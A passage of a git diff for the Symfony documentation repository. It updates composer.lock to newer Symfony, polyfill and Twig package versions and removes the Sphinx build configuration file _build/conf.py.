+                "source": "https://github.com/symfony/http-client/tree/v5.3.10"
             },
             "funding": [
                 {
@@ -1146,20 +915,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-02T13:41:48+00:00"
+            "time": "2021-10-19T08:32:53+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
-            "version": "v2.3.1",
+            "version": "v2.4.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client-contracts.git",
-                "reference": "41db680a15018f9c1d4b23516059633ce280ca33"
+                "reference": "7e82f6084d7cae521a75ef2cb5c9457bbda785f4"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/41db680a15018f9c1d4b23516059633ce280ca33",
-                "reference": "41db680a15018f9c1d4b23516059633ce280ca33",
+                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/7e82f6084d7cae521a75ef2cb5c9457bbda785f4",
+                "reference": "7e82f6084d7cae521a75ef2cb5c9457bbda785f4",
                 "shasum": ""
             },
             "require": {
@@ -1170,9 +939,8 @@
             },
             "type": "library",
             "extra": {
-                "branch-version": "2.3",
                 "branch-alias": {
-                    "dev-main": "2.3-dev"
+                    "dev-main": "2.4-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -1209,7 +977,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client-contracts/tree/v2.3.1"
+                "source": "https://github.com/symfony/http-client-contracts/tree/v2.4.0"
             },
             "funding": [
                 {
@@ -1225,20 +993,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-14T17:08:19+00:00"
+            "time": "2021-04-11T23:07:08+00:00"
         },
         {
             "name": "symfony/polyfill-ctype",
-            "version": "v1.20.0",
+            "version": "v1.23.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-ctype.git",
-                "reference": "f4ba089a5b6366e453971d3aad5fe8e897b37f41"
+                "reference": "46cd95797e9df938fdd2b03693b5fca5e64b01ce"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/f4ba089a5b6366e453971d3aad5fe8e897b37f41",
-                "reference": "f4ba089a5b6366e453971d3aad5fe8e897b37f41",
+                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/46cd95797e9df938fdd2b03693b5fca5e64b01ce",
+                "reference": "46cd95797e9df938fdd2b03693b5fca5e64b01ce",
                 "shasum": ""
             },
             "require": {
@@ -1250,7 +1018,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1288,7 +1056,7 @@
                 "portable"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.23.0"
             },
             "funding": [
                 {
@@ -1304,26 +1072,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-02-19T12:13:01+00:00"
         },
         {
-            "name": "symfony/polyfill-intl-idn",
-            "version": "v1.20.0",
+            "name": "symfony/polyfill-intl-grapheme",
+            "version": "v1.23.1",
             "source": {
                 "type": "git",
-                "url": "https://github.com/symfony/polyfill-intl-idn.git",
-                "reference": "3b75acd829741c768bc8b1f84eb33265e7cc5117"
+                "url": "https://github.com/symfony/polyfill-intl-grapheme.git",
+                "reference": "16880ba9c5ebe3642d1995ab866db29270b36535"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/3b75acd829741c768bc8b1f84eb33265e7cc5117",
-                "reference": "3b75acd829741c768bc8b1f84eb33265e7cc5117",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/16880ba9c5ebe3642d1995ab866db29270b36535",
+                "reference": "16880ba9c5ebe3642d1995ab866db29270b36535",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1",
-                "symfony/polyfill-intl-normalizer": "^1.10",
-                "symfony/polyfill-php72": "^1.10"
+                "php": ">=7.1"
             },
             "suggest": {
                 "ext-intl": "For best performance"
@@ -1331,7 +1097,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1340,7 +1106,7 @@
             },
             "autoload": {
                 "psr-4": {
-                    "Symfony\\Polyfill\\Intl\\Idn\\": ""
+                    "Symfony\\Polyfill\\Intl\\Grapheme\\": ""
                 },
                 "files": [
                     "bootstrap.php"
@@ -1352,30 +1118,26 @@
             ],
             "authors": [
                 {
-                    "name": "Laurent Bassin",
-                    "email": "laurent@bassin.info"
-                },
-                {
-                    "name": "Trevor Rowbotham",
-                    "email": "trevor.rowbotham@pm.me"
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
                 },
                 {
                     "name": "Symfony Community",
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony polyfill for intl's idn_to_ascii and idn_to_utf8 functions",
+            "description": "Symfony polyfill for intl's grapheme_* functions",
             "homepage": "https://symfony.com",
             "keywords": [
                 "compatibility",
-                "idn",
+                "grapheme",
                 "intl",
                 "polyfill",
                 "portable",
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.23.1"
             },
             "funding": [
                 {
@@ -1391,20 +1153,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-05-27T12:26:48+00:00"
         },
         {
             "name": "symfony/polyfill-intl-normalizer",
-            "version": "v1.20.0",
+            "version": "v1.23.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
-                "reference": "727d1096295d807c309fb01a851577302394c897"
+                "reference": "8590a5f561694770bdcd3f9b5c69dde6945028e8"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/727d1096295d807c309fb01a851577302394c897",
-                "reference": "727d1096295d807c309fb01a851577302394c897",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/8590a5f561694770bdcd3f9b5c69dde6945028e8",
+                "reference": "8590a5f561694770bdcd3f9b5c69dde6945028e8",
                 "shasum": ""
             },
             "require": {
@@ -1416,7 +1178,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1459,7 +1221,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.23.0"
             },
             "funding": [
                 {
@@ -1475,20 +1237,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-02-19T12:13:01+00:00"
         },
         {
             "name": "symfony/polyfill-mbstring",
-            "version": "v1.20.0",
+            "version": "v1.23.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-mbstring.git",
-                "reference": "39d483bdf39be819deabf04ec872eb0b2410b531"
+                "reference": "9174a3d80210dca8daa7f31fec659150bbeabfc6"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/39d483bdf39be819deabf04ec872eb0b2410b531",
-                "reference": "39d483bdf39be819deabf04ec872eb0b2410b531",
+                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/9174a3d80210dca8daa7f31fec659150bbeabfc6",
+                "reference": "9174a3d80210dca8daa7f31fec659150bbeabfc6",
                 "shasum": ""
             },
             "require": {
@@ -1500,7 +1262,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1539,7 +1301,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.23.1"
             },
             "funding": [
                 {
@@ -1555,20 +1317,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-05-27T12:26:48+00:00"
         },
         {
-            "name": "symfony/polyfill-php72",
-            "version": "v1.20.0",
+            "name": "symfony/polyfill-php73",
+            "version": "v1.23.0",
             "source": {
                 "type": "git",
-                "url": "https://github.com/symfony/polyfill-php72.git",
-                "reference": "cede45fcdfabdd6043b3592e83678e42ec69e930"
+                "url": "https://github.com/symfony/polyfill-php73.git",
+                "reference": "fba8933c384d6476ab14fb7b8526e5287ca7e010"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/cede45fcdfabdd6043b3592e83678e42ec69e930",
-                "reference": "cede45fcdfabdd6043b3592e83678e42ec69e930",
+                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/fba8933c384d6476ab14fb7b8526e5287ca7e010",
+                "reference": "fba8933c384d6476ab14fb7b8526e5287ca7e010",
                 "shasum": ""
             },
             "require": {
@@ -1577,7 +1339,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1586,10 +1348,13 @@
             },
             "autoload": {
                 "psr-4": {
-                    "Symfony\\Polyfill\\Php72\\": ""
+                    "Symfony\\Polyfill\\Php73\\": ""
                 },
                 "files": [
                     "bootstrap.php"
+                ],
+                "classmap": [
+                    "Resources/stubs"
                 ]
             },
             "notification-url": "https://packagist.org/downloads/",
@@ -1606,7 +1371,7 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony polyfill backporting some PHP 7.2+ features to lower PHP versions",
+            "description": "Symfony polyfill backporting some PHP 7.3+ features to lower PHP versions",
             "homepage": "https://symfony.com",
             "keywords": [
                 "compatibility",
@@ -1615,7 +1380,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php72/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-php73/tree/v1.23.0"
             },
             "funding": [
                 {
@@ -1631,20 +1396,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-02-19T12:13:01+00:00"
         },
         {
-            "name": "symfony/polyfill-php73",
-            "version": "v1.20.0",
+            "name": "symfony/polyfill-php80",
+            "version": "v1.23.1",
             "source": {
                 "type": "git",
-                "url": "https://github.com/symfony/polyfill-php73.git",
-                "reference": "8ff431c517be11c78c48a39a66d37431e26a6bed"
+                "url": "https://github.com/symfony/polyfill-php80.git",
+                "reference": "1100343ed1a92e3a38f9ae122fc0eb21602547be"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/8ff431c517be11c78c48a39a66d37431e26a6bed",
-                "reference": "8ff431c517be11c78c48a39a66d37431e26a6bed",
+                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/1100343ed1a92e3a38f9ae122fc0eb21602547be",
+                "reference": "1100343ed1a92e3a38f9ae122fc0eb21602547be",
                 "shasum": ""
             },
             "require": {
@@ -1653,7 +1418,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1662,7 +1427,7 @@
             },
             "autoload": {
                 "psr-4": {
-                    "Symfony\\Polyfill\\Php73\\": ""
+                    "Symfony\\Polyfill\\Php80\\": ""
                 },
                 "files": [
                     "bootstrap.php"
@@ -1676,6 +1441,10 @@
                 "MIT"
             ],
             "authors": [
+                {
+                    "name": "Ion Bazan",
+                    "email": "ion.bazan@gmail.com"
+                },
                 {
                     "name": "Nicolas Grekas",
                     "email": "p@tchwork.com"
@@ -1685,7 +1454,7 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony polyfill backporting some PHP 7.3+ features to lower PHP versions",
+            "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions",
             "homepage": "https://symfony.com",
             "keywords": [
                 "compatibility",
@@ -1694,7 +1463,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php73/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-php80/tree/v1.23.1"
             },
             "funding": [
                 {
@@ -1710,55 +1479,111 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-07-28T13:41:28+00:00"
         },
         {
-            "name": "symfony/polyfill-php80",
-            "version": "v1.20.0",
+            "name": "symfony/process",
+            "version": "5.4.x-dev",
             "source": {
                 "type": "git",
-                "url": "https://github.com/symfony/polyfill-php80.git",
-                "reference": "e70aa8b064c5b72d3df2abd5ab1e90464ad009de"
+                "url": "https://github.com/symfony/process.git",
+                "reference": "6bacc79268fb8a2fac52c9f66afe5e041220233f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/e70aa8b064c5b72d3df2abd5ab1e90464ad009de",
-                "reference": "e70aa8b064c5b72d3df2abd5ab1e90464ad009de",
+                "url": "https://api.github.com/repos/symfony/process/zipball/6bacc79268fb8a2fac52c9f66afe5e041220233f",
+                "reference": "6bacc79268fb8a2fac52c9f66afe5e041220233f",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1"
+                "php": ">=7.2.5",
+                "symfony/polyfill-php80": "^1.16"
+            },
+            "type": "library",
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\Process\\": ""
+                },
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Fabien Potencier",
+                    "email": "fabien@symfony.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Executes commands in sub-processes",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/process/tree/5.4"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2021-11-03T09:24:47+00:00"
+        },
+        {
+            "name": "symfony/service-contracts",
+            "version": "v2.4.0",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/service-contracts.git",
+                "reference": "f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb",
+                "reference": "f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.2.5",
+                "psr/container": "^1.1"
+            },
+            "suggest": {
+                "symfony/service-implementation": ""
             },
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "2.4-dev"
                 },
                 "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
+                    "name": "symfony/contracts",
+                    "url": "https://github.com/symfony/contracts"
                 }
             },
             "autoload": {
                 "psr-4": {
-                    "Symfony\\Polyfill\\Php80\\": ""
-                },
-                "files": [
-                    "bootstrap.php"
-                ],
-                "classmap": [
-                    "Resources/stubs"
-                ]
+                    "Symfony\\Contracts\\Service\\": ""
+                }
             },
             "notification-url": "https://packagist.org/downloads/",
             "license": [
                 "MIT"
             ],
             "authors": [
-                {
-                    "name": "Ion Bazan",
-                    "email": "ion.bazan@gmail.com"
-                },
                 {
                     "name": "Nicolas Grekas",
                     "email": "p@tchwork.com"
@@ -1768,16 +1593,18 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions",
+            "description": "Generic abstractions related to writing services",
             "homepage": "https://symfony.com",
             "keywords": [
-                "compatibility",
-                "polyfill",
-                "portable",
-                "shim"
+                "abstractions",
+                "contracts",
+                "decoupling",
+                "interfaces",
+                "interoperability",
+                "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php80/tree/v1.20.0"
+                "source": "https://github.com/symfony/service-contracts/tree/v2.4.0"
             },
             "funding": [
                 {
@@ -1793,32 +1620,44 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-04-01T10:43:52+00:00"
         },
         {
-            "name": "symfony/process",
-            "version": "5.x-dev",
+            "name": "symfony/string",
+            "version": "v5.3.10",
             "source": {
                 "type": "git",
-                "url": "https://github.com/symfony/process.git",
-                "reference": "88d47196a2fe06db8f90f0c2a986651e91ee3660"
+                "url": "https://github.com/symfony/string.git",
+                "reference": "d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/88d47196a2fe06db8f90f0c2a986651e91ee3660",
-                "reference": "88d47196a2fe06db8f90f0c2a986651e91ee3660",
+                "url": "https://api.github.com/repos/symfony/string/zipball/d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c",
+                "reference": "d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
-                "symfony/polyfill-php80": "^1.15"
+                "symfony/polyfill-ctype": "~1.8",
+                "symfony/polyfill-intl-grapheme": "~1.0",
+                "symfony/polyfill-intl-normalizer": "~1.0",
+                "symfony/polyfill-mbstring": "~1.0",
+                "symfony/polyfill-php80": "~1.15"
+            },
+            "require-dev": {
+                "symfony/error-handler": "^4.4|^5.0",
+                "symfony/http-client": "^4.4|^5.0",
+                "symfony/translation-contracts": "^1.1|^2",
+                "symfony/var-exporter": "^4.4|^5.0"
             },
-            "default-branch": true,
             "type": "library",
             "autoload": {
                 "psr-4": {
-                    "Symfony\\Component\\Process\\": ""
+                    "Symfony\\Component\\String\\": ""
                 },
+                "files": [
+                    "Resources/functions.php"
+                ],
                 "exclude-from-classmap": [
                     "/Tests/"
                 ]
@@ -1829,18 +1668,26 @@
             ],
             "authors": [
                 {
-                    "name": "Fabien Potencier",
-                    "email": "fabien@symfony.com"
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
                 },
                 {
                     "name": "Symfony Community",
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony Process Component",
+            "description": "Provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way",
             "homepage": "https://symfony.com",
+            "keywords": [
+                "grapheme",
+                "i18n",
+                "string",
+                "unicode",
+                "utf-8",
+                "utf8"
+            ],
             "support": {
-                "source": "https://github.com/symfony/process/tree/5.x"
+                "source": "https://github.com/symfony/string/tree/v5.3.10"
             },
             "funding": [
                 {
@@ -1856,33 +1703,32 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-24T12:08:07+00:00"
+            "time": "2021-10-27T18:21:46+00:00"
         },
         {
-            "name": "symfony/service-contracts",
-            "version": "v2.2.0",
+            "name": "symfony/translation-contracts",
+            "version": "v2.4.0",
             "source": {
                 "type": "git",
-                "url": "https://github.com/symfony/service-contracts.git",
-                "reference": "d15da7ba4957ffb8f1747218be9e1a121fd298a1"
+                "url": "https://github.com/symfony/translation-contracts.git",
+                "reference": "95c812666f3e91db75385749fe219c5e494c7f95"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/d15da7ba4957ffb8f1747218be9e1a121fd298a1",
-                "reference": "d15da7ba4957ffb8f1747218be9e1a121fd298a1",
+                "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/95c812666f3e91db75385749fe219c5e494c7f95",
+                "reference": "95c812666f3e91db75385749fe219c5e494c7f95",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
-                "psr/container": "^1.0"
+                "php": ">=7.2.5"
             },
             "suggest": {
-                "symfony/service-implementation": ""
+                "symfony/translation-implementation": ""
             },
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-master": "2.2-dev"
+                    "dev-main": "2.4-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -1891,7 +1737,7 @@
             },
             "autoload": {
                 "psr-4": {
-                    "Symfony\\Contracts\\Service\\": ""
+                    "Symfony\\Contracts\\Translation\\": ""
                 }
             },
             "notification-url": "https://packagist.org/downloads/",
@@ -1908,7 +1754,7 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Generic abstractions related to writing services",
+            "description": "Generic abstractions related to translation",
             "homepage": "https://symfony.com",
             "keywords": [
                 "abstractions",
@@ -1919,7 +1765,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/service-contracts/tree/master"
+                "source": "https://github.com/symfony/translation-contracts/tree/v2.4.0"
             },
             "funding": [
                 {
@@ -1935,20 +1781,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-09-07T11:33:47+00:00"
+            "time": "2021-03-23T23:28:01+00:00"
         },
         {
             "name": "twig/twig",
-            "version": "v2.14.0",
+            "version": "v3.3.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "d495243dade48c39b6a5261c26cdbd8c5703f6a0"
+                "reference": "a27fa056df8a6384316288ca8b0fa3a35fdeb569"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/d495243dade48c39b6a5261c26cdbd8c5703f6a0",
-                "reference": "d495243dade48c39b6a5261c26cdbd8c5703f6a0",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/a27fa056df8a6384316288ca8b0fa3a35fdeb569",
+                "reference": "a27fa056df8a6384316288ca8b0fa3a35fdeb569",
                 "shasum": ""
             },
             "require": {
@@ -1958,18 +1804,15 @@
             },
             "require-dev": {
                 "psr/container": "^1.0",
-                "symfony/phpunit-bridge": "^4.4.9|^5.0.9"
+                "symfony/phpunit-bridge": "^4.4.9|^5.0.9|^6.0"
             },
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-master": "2.14-dev"
+                    "dev-master": "3.3-dev"
                 }
             },
             "autoload": {
-                "psr-0": {
-                    "Twig_": "lib/"
-                },
                 "psr-4": {
                     "Twig\\": "src/"
                 }
@@ -2002,7 +1845,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v2.14.0"
+                "source": "https://github.com/twigphp/Twig/tree/v3.3.3"
             },
             "funding": [
                 {
@@ -2014,24 +1857,21 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-21T12:35:06+00:00"
+            "time": "2021-09-17T08:44:23+00:00"
         }
     ],
     "packages-dev": [],
     "aliases": [],
     "minimum-stability": "dev",
-    "stability-flags": {
-        "symfony/docs-builder": 20,
-        "symfony/process": 20
-    },
+    "stability-flags": [],
     "prefer-stable": true,
     "prefer-lowest": false,
     "platform": {
-        "php": ">=7.2.9"
+        "php": ">=7.4"
     },
     "platform-dev": [],
     "platform-overrides": {
-        "php": "7.2.9"
+        "php": "7.4.14"
     },
-    "plugin-api-version": "2.0.0"
+    "plugin-api-version": "2.1.0"
 }
diff --git a/_build/conf.py b/_build/conf.py
deleted file mode 100644
index 071991c5411..00000000000
--- a/_build/conf.py
+++ /dev/null
@@ -1,302 +0,0 @@
-# -*- coding: utf-8 -*-
-#
-# Symfony documentation build configuration file, created by
-# sphinx-quickstart on Sat Jul 28 21:58:57 2012.
-#
-# This file is execfile()d with the current directory set to its containing dir.
-#
-# Note that not all possible configuration values are present in this
-# autogenerated file.
-#
-# All configuration values have a default; values that are commented out
-# serve to show the default.
-
-import sys, os
-
-# If extensions (or modules to document with autodoc) are in another directory,
-# add these directories to sys.path here. If the directory is relative to the
-# documentation root, use os.path.abspath to make it absolute, like shown here.
-sys.path.append(os.path.abspath('_exts'))
-
-# adding PhpLexer
-from sphinx.highlighting import lexers
-from pygments.lexers.compiled import CLexer
-from pygments.lexers.shell import BashLexer
-from pygments.lexers.special import TextLexer
-from pygments.lexers.text import RstLexer
-from pygments.lexers.web import PhpLexer
-from symfonycom.sphinx.lexer import TerminalLexer
-
-# -- General configuration -----------------------------------------------------
-
-# If your documentation needs a minimal Sphinx version, state it here.
-needs_sphinx = '1.8.5'
-
-# Add any Sphinx extension module names here, as strings. They can be extensions
-# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
-extensions = [
-    'sphinx.ext.autodoc', 'sphinx.ext.doctest',
-    'sphinx.ext.todo', 'sphinx.ext.coverage', 'sphinx.ext.ifconfig',
-    'sphinx.ext.viewcode', 'sphinx.ext.extlinks',
-    'sensio.sphinx.codeblock', 'sensio.sphinx.configurationblock', 'sensio.sphinx.phpcode', 'sensio.sphinx.bestpractice'
-    #,'sphinxcontrib.spelling'
-]
-
-#spelling_show_sugestions=True
-#spelling_lang='en_US'
-#spelling_word_list_filename='_build/spelling_word_list.txt'
-
-# Add any paths that contain templates here, relative to this directory.
-# templates_path = ['_theme/_templates']
-
-# The suffix of source filenames.
-source_suffix = '.rst'
-
-# The encoding of source files.
-#source_encoding = 'utf-8-sig'
-
-# The master toctree document.
-master_doc = 'index'
-
-# General information about the project.
-project = 'Symfony Framework Documentation'
-copyright = ''
-
-# The version info for the project you're documenting, acts as replacement for
-# |version| and |release|, also used in various other places throughout the
-# built documents.
-#
-# The short X.Y version.
-# version = '2.2'
-# The full version, including alpha/beta/rc tags.
-# release = '2.2.13'
-
-# The language for content autogenerated by Sphinx. Refer to documentation
-# for a list of supported languages.
-#language = None
-
-# There are two options for replacing |today|: either, you set today to some
-# non-false value, then it is used:
-#today = ''
-# Else, today_fmt is used as the format for a strftime call.
-#today_fmt = '%B %d, %Y'
-
-# List of patterns, relative to source directory, that match files and
-# directories to ignore when looking for source files.
-exclude_patterns = ['_build']
-
-# The reST default role (used for this markup: `text`) to use for all documents.
-#default_role = None
-
-# If true, '()' will be appended to :func: etc. cross-reference text.
-#add_function_parentheses = True
-
-# If true, the current module name will be prepended to all description
-# unit titles (such as .. function::).
-#add_module_names = True
-
-# If true, sectionauthor and moduleauthor directives will be shown in the
-# output. They are ignored by default.
-#show_authors = False
-
-# The name of the Pygments (syntax highlighting) style to use.
-pygments_style = 'symfonycom.sphinx.SensioStyle'
-
-# A list of ignored prefixes for module index sorting.
-#modindex_common_prefix = []
-
-# -- Settings for symfony doc extension ---------------------------------------------------
-
-# enable highlighting for PHP code not between ``<?php ... ?>`` by default
-lexers['markdown'] = TextLexer()
-lexers['php'] = PhpLexer(startinline=True)
-lexers['php-annotations'] = PhpLexer(startinline=True)
-lexers['php-attributes'] = PhpLexer(startinline=True)
-lexers['php-standalone'] = PhpLexer(startinline=True)
-lexers['php-symfony'] = PhpLexer(startinline=True)
-lexers['rst'] = RstLexer()
-lexers['varnish2'] = CLexer()
-lexers['varnish3'] = CLexer()
-lexers['varnish4'] = CLexer()
-lexers['terminal'] = TerminalLexer()
-lexers['env']  = BashLexer()
-
-config_block = {
-    'apache': 'Apache',
-    'markdown': 'Markdown',
-    'nginx': 'Nginx',
-    'rst': 'reStructuredText',
-    'varnish2': 'Varnish 2',
-    'varnish3': 'Varnish 3',
-    'varnish4': 'Varnish 4',
-    'env': '.env'
-}
-
-# don't enable Sphinx Domains
-primary_domain = None
-
-# set url for API links
-api_url = 'https://github.com/symfony/symfony/blob/master/src/%s.php'
-
-
-# -- Options for HTML output ---------------------------------------------------
-
-# The theme to use for HTML and HTML Help pages.  See the documentation for
-# a list of builtin themes.
-html_theme = "sphinx_rtd_theme"
-
-# Theme options are theme-specific and customize the look and feel of a theme
-# further.  For a list of options available for each theme, see the
-# documentation.
-html_theme_options = {
-    'logo_only': True,
-    'prev_next_buttons_location': None,
-    'style_nav_header_background': '#f0f0f0'
-}
-
-# Add any paths that contain custom themes here, relative to this directory.
-#html_theme_path = []
-
-# The name for this set of Sphinx documents.  If None, it defaults to
-# "<project> v<release> documentation".
-#html_title = None
-
-# A shorter title for the navigation bar.  Default is the same as html_title.
-#html_short_title = None
-
-# The name of an image file (relative to this directory) to place at the top
-# of the sidebar.
-html_logo = '_static/symfony-logo.svg'
-
-# The name of an image file (within the static path) to use as favicon of the
-# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
-# pixels large.
-#html_favicon = None
-
-# Add any paths that contain custom static files (such as style sheets) here,
-# relative to this directory. They are copied after the builtin static files,
-# so a file named "default.css" will overwrite the builtin "default.css".
-html_static_path = ['_static']
-html_css_files = ['rtd_custom.css']
-
-# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
-# using the given strftime format.
-#html_last_updated_fmt = '%b %d, %Y'
-
-# If true, SmartyPants will be used to convert quotes and dashes to
-# typographically correct entities.
-#html_use_smartypants = True
-
-# Custom sidebar templates, maps document names to template names.
-#html_sidebars = {}
-
-# Additional templates that should be rendered to pages, maps page names to
-# template names.
-#html_additional_pages = {}
